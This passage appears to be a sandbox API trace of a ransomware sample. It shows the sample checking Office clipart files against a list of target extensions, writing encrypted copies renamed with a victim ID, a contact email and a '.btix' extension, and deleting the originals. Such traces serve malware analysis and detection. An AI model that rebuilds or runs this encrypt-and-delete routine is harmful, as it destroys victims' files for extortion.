(lpString1=".jpg", lpString2=".MID") returned -1 [0135.504] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID") returned 68 [0135.505] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID") returned 68 [0135.505] lstrlenW (lpString=".doc") returned 4 [0135.505] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0135.505] lstrlenW (lpString=".docx") returned 5 [0135.505] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0135.505] lstrlenW (lpString=".pdf") returned 4 [0135.505] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0135.505] lstrlenW (lpString=".xls") returned 4 [0135.505] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0135.505] lstrlenW (lpString=".xlsx") returned 5 [0135.505] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0135.505] lstrlenW (lpString=".ppt") returned 4 [0135.505] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0135.505] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID") returned 68 [0135.505] lstrlenW (lpString=".zip") returned 4 [0135.505] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0135.505] lstrlenW (lpString=".rar") returned 4 [0135.505] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0135.505] lstrlenW (lpString=".bz2") returned 4 [0135.505] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0135.505] lstrlenW (lpString=".7z") returned 3 [0135.505] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0135.505] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID") returned 68 [0135.505] lstrlenW (lpString=".dbf") returned 4 [0135.505] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0135.505] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID") returned 68 [0135.505] lstrlenW (lpString=".1cd") returned 4 [0135.505] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0135.505] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID") returned 68 [0135.506] lstrlenW (lpString=".jpg") returned 4 [0135.506] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0135.506] lstrcmpiW (lpString1=".MID", lpString2=".btix") returned 1 [0135.506] lstrlenW (lpString="EAST_01.MID") returned 11 [0135.506] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EAST_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\east_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0135.516] GetFileSizeEx (in: hFile=0x544, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=6165) returned 1 [0135.516] CloseHandle (hObject=0x544) returned 1 [0135.516] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EAST_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\east_01.mid")) returned 0x220 [0135.516] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EAST_01.MID.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\east_01.mid.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0135.516] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EAST_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\east_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0135.516] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0135.517] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0135.517] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EAST_01.MID.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\east_01.mid.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac [0135.517] GetLastError () returned 0x0 [0135.517] ReadFile (in: hFile=0x544, lpBuffer=0x41a1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x41a1020*, lpNumberOfBytesRead=0x364fecc*=0x1815, lpOverlapped=0x0) returned 1 [0135.530] WriteFile (in: hFile=0x4ac, lpBuffer=0x41a1020*, nNumberOfBytesToWrite=0x1820, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x41a1020*, lpNumberOfBytesWritten=0x364fc94*=0x1820, lpOverlapped=0x0) returned 1 [0135.530] ReadFile (in: hFile=0x544, lpBuffer=0x41a1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x41a1020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1 [0135.530] WriteFile (in: hFile=0x4ac, lpBuffer=0x41a1020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x41a1020*, lpNumberOfBytesWritten=0x364fc94*=0xea, lpOverlapped=0x0) returned 1 [0135.531] SetEndOfFile (hFile=0x4ac) returned 1 [0135.531] CloseHandle (hObject=0x4ac) returned 1 [0135.531] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0135.531] SetEndOfFile (hFile=0x544) returned 1 [0135.533] CloseHandle (hObject=0x544) returned 1 [0135.533] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EAST_01.MID.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0135.533] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EAST_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\east_01.mid")) returned 1 [0135.534] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EAST_01.MID") returned 67 [0135.534] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EAST_01.MID") returned 67 [0135.534] lstrlenW (lpString=".doc") returned 4 [0135.534] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0135.534] lstrlenW (lpString=".docx") returned 5 [0135.534] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0135.534] lstrlenW (lpString=".pdf") returned 4 [0135.534] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0135.534] lstrlenW (lpString=".xls") returned 4 [0135.534] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0135.534] lstrlenW (lpString=".xlsx") returned 5 [0135.534] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0135.534] lstrlenW (lpString=".ppt") returned 4 [0135.534] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0135.534] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EAST_01.MID") returned 67 [0135.534] lstrlenW (lpString=".zip") returned 4 [0135.534] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0135.534] lstrlenW (lpString=".rar") returned 4 [0135.534] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0135.534] lstrlenW (lpString=".bz2") returned 4 [0135.534] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0135.534] lstrlenW (lpString=".7z") returned 3 [0135.534] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0135.534] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EAST_01.MID") returned 67 [0135.534] lstrlenW (lpString=".dbf") returned 4 [0135.535] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0135.535] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EAST_01.MID") returned 67 [0135.535] lstrlenW (lpString=".1cd") returned 4 [0135.535] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0135.535] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EAST_01.MID") returned 67 [0135.535] lstrlenW (lpString=".jpg") returned 4 [0135.535] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0135.535] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EAST_01.MID") returned 67 [0135.535] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EAST_01.MID") returned 67 [0135.535] lstrlenW (lpString=".doc") returned 4 [0135.535] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0135.535] lstrlenW (lpString=".docx") returned 5 [0135.535] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0135.535] lstrlenW (lpString=".pdf") returned 4 [0135.535] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0135.535] lstrlenW (lpString=".xls") returned 4 [0135.535] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0135.535] lstrlenW (lpString=".xlsx") returned 5 [0135.535] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0135.535] lstrlenW (lpString=".ppt") returned 4 [0135.535] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0135.535] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EAST_01.MID") returned 67 [0135.535] lstrlenW (lpString=".zip") returned 4 [0135.535] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0135.535] lstrlenW (lpString=".rar") returned 4 [0135.535] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0135.535] lstrlenW (lpString=".bz2") returned 4 [0135.535] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0135.535] lstrlenW (lpString=".7z") returned 3 [0135.535] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0135.535] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EAST_01.MID") returned 67 [0135.536] lstrlenW (lpString=".dbf") returned 4 [0135.536] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0135.536] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EAST_01.MID") returned 67 [0135.536] lstrlenW (lpString=".1cd") returned 4 [0135.536] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0135.536] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EAST_01.MID") returned 67 [0135.536] lstrlenW (lpString=".jpg") returned 4 [0135.536] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0135.536] lstrcmpiW (lpString1=".MID", lpString2=".btix") returned 1 [0135.536] lstrlenW (lpString="FALL_01.MID") returned 11 [0135.536] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FALL_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fall_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0135.537] GetFileSizeEx (in: hFile=0x544, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=4846) returned 1 [0135.537] CloseHandle (hObject=0x544) returned 1 [0135.537] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FALL_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fall_01.mid")) returned 0x220 [0135.537] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FALL_01.MID.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fall_01.mid.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0135.538] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FALL_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fall_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0135.538] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0135.538] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0135.538] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FALL_01.MID.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fall_01.mid.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac [0135.538] GetLastError () returned 0x0 [0135.538] ReadFile (in: hFile=0x544, lpBuffer=0x41a1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x41a1020*, lpNumberOfBytesRead=0x364fecc*=0x12ee, lpOverlapped=0x0) returned 1 [0135.551] WriteFile (in: hFile=0x4ac, lpBuffer=0x41a1020*, nNumberOfBytesToWrite=0x12f0, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x41a1020*, lpNumberOfBytesWritten=0x364fc94*=0x12f0, lpOverlapped=0x0) returned 1 [0135.552] ReadFile (in: hFile=0x544, lpBuffer=0x41a1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x41a1020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1 [0135.552] WriteFile (in: hFile=0x4ac, lpBuffer=0x41a1020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x41a1020*, lpNumberOfBytesWritten=0x364fc94*=0xea, lpOverlapped=0x0) returned 1 [0135.552] SetEndOfFile (hFile=0x4ac) returned 1 [0135.552] CloseHandle (hObject=0x4ac) returned 1 [0135.552] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0135.552] SetEndOfFile (hFile=0x544) returned 1 [0135.554] CloseHandle (hObject=0x544) returned 1 [0135.554] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FALL_01.MID.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0135.554] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FALL_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fall_01.mid")) returned 1 [0135.555] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FALL_01.MID") returned 67 [0135.555] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FALL_01.MID") returned 67 [0135.555] lstrlenW (lpString=".doc") returned 4 [0135.555] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0135.555] lstrlenW (lpString=".docx") returned 5 [0135.555] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0135.555] lstrlenW (lpString=".pdf") returned 4 [0135.555] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0135.555] lstrlenW (lpString=".xls") returned 4 [0135.555] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0135.555] lstrlenW (lpString=".xlsx") returned 5 [0135.555] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0135.555] lstrlenW (lpString=".ppt") returned 4 [0135.555] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0135.555] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FALL_01.MID") returned 67 [0135.555] lstrlenW (lpString=".zip") returned 4 [0135.555] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0135.555] lstrlenW (lpString=".rar") returned 4 [0135.555] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0135.555] lstrlenW (lpString=".bz2") returned 4 [0135.555] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0135.555] lstrlenW (lpString=".7z") returned 3 [0135.556] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0135.556] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FALL_01.MID") returned 67 [0135.556] lstrlenW (lpString=".dbf") returned 4 [0135.556] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0135.556] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FALL_01.MID") returned 67 [0135.556] lstrlenW (lpString=".1cd") returned 4 [0135.556] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0135.556] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FALL_01.MID") returned 67 [0135.556] lstrlenW (lpString=".jpg") returned 4 [0135.556] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0135.556] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FALL_01.MID") returned 67 [0135.556] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FALL_01.MID") returned 67 [0135.556] lstrlenW (lpString=".doc") returned 4 [0135.556] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0135.556] lstrlenW (lpString=".docx") returned 5 [0135.556] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0135.556] lstrlenW (lpString=".pdf") returned 4 [0135.556] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0135.556] lstrlenW (lpString=".xls") returned 4 [0135.556] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0135.556] lstrlenW (lpString=".xlsx") returned 5 [0135.556] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0135.556] lstrlenW (lpString=".ppt") returned 4 [0135.556] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0135.556] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FALL_01.MID") returned 67 [0135.556] lstrlenW (lpString=".zip") returned 4 [0135.556] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0135.556] lstrlenW (lpString=".rar") returned 4 [0135.556] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0135.556] lstrlenW (lpString=".bz2") returned 4 [0135.556] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0135.557] lstrlenW (lpString=".7z") returned 3 [0135.557] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0135.557] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FALL_01.MID") returned 67 [0135.557] lstrlenW (lpString=".dbf") returned 4 [0135.557] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0135.557] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FALL_01.MID") returned 67 [0135.557] lstrlenW (lpString=".1cd") returned 4 [0135.557] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0135.557] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FALL_01.MID") returned 67 [0135.557] lstrlenW (lpString=".jpg") returned 4 [0135.557] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0135.557] lstrcmpiW (lpString1=".MID", lpString2=".btix") returned 1 [0135.557] lstrlenW (lpString="FINCL_01.MID") returned 12 [0135.557] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fincl_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0135.558] GetFileSizeEx (in: hFile=0x544, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=12981) returned 1 [0135.558] CloseHandle (hObject=0x544) returned 1 [0135.558] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fincl_01.mid")) returned 0x220 [0135.558] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_01.MID.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fincl_01.mid.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0135.558] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fincl_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0135.558] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0135.558] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0135.558] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_01.MID.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fincl_01.mid.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac [0135.559] GetLastError () returned 0x0 [0135.559] ReadFile (in: hFile=0x544, lpBuffer=0x41a1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x41a1020*, lpNumberOfBytesRead=0x364fecc*=0x32b5, lpOverlapped=0x0) returned 1 [0135.777] WriteFile (in: hFile=0x4ac, lpBuffer=0x41a1020*, nNumberOfBytesToWrite=0x32c0, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x41a1020*, lpNumberOfBytesWritten=0x364fc94*=0x32c0, lpOverlapped=0x0) returned 1 [0135.779] ReadFile (in: hFile=0x544, lpBuffer=0x41a1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x41a1020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1 [0135.779] WriteFile (in: hFile=0x4ac, lpBuffer=0x41a1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x41a1020*, lpNumberOfBytesWritten=0x364fc94*=0xec, lpOverlapped=0x0) returned 1 [0135.779] SetEndOfFile (hFile=0x4ac) returned 1 [0136.237] CloseHandle (hObject=0x4ac) returned 1 [0136.237] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0136.237] SetEndOfFile (hFile=0x544) returned 1 [0136.274] CloseHandle (hObject=0x544) returned 1 [0136.274] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_01.MID.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0136.275] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fincl_01.mid")) returned 1 [0136.275] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_01.MID") returned 68 [0136.275] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_01.MID") returned 68 [0136.275] lstrlenW (lpString=".doc") returned 4 [0136.275] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0136.275] lstrlenW (lpString=".docx") returned 5 [0136.275] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0136.275] lstrlenW (lpString=".pdf") returned 4 [0136.275] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0136.275] lstrlenW (lpString=".xls") returned 4 [0136.275] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0136.275] lstrlenW (lpString=".xlsx") returned 5 [0136.275] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0136.275] lstrlenW (lpString=".ppt") returned 4 [0136.275] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0136.275] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_01.MID") returned 68 [0136.275] lstrlenW (lpString=".zip") returned 4 [0136.276] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0136.276] lstrlenW (lpString=".rar") returned 4 [0136.276] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0136.276] lstrlenW (lpString=".bz2") returned 4 [0136.276] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0136.276] lstrlenW (lpString=".7z") returned 3 [0136.276] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0136.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_01.MID") returned 68 [0136.276] lstrlenW (lpString=".dbf") returned 4 [0136.276] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0136.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_01.MID") returned 68 [0136.276] lstrlenW (lpString=".1cd") returned 4 [0136.276] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0136.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_01.MID") returned 68 [0136.276] lstrlenW (lpString=".jpg") returned 4 [0136.276] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0136.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_01.MID") returned 68 [0136.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_01.MID") returned 68 [0136.276] lstrlenW (lpString=".doc") returned 4 [0136.276] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0136.276] lstrlenW (lpString=".docx") returned 5 [0136.276] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0136.276] lstrlenW (lpString=".pdf") returned 4 [0136.276] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0136.276] lstrlenW (lpString=".xls") returned 4 [0136.276] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0136.276] lstrlenW (lpString=".xlsx") returned 5 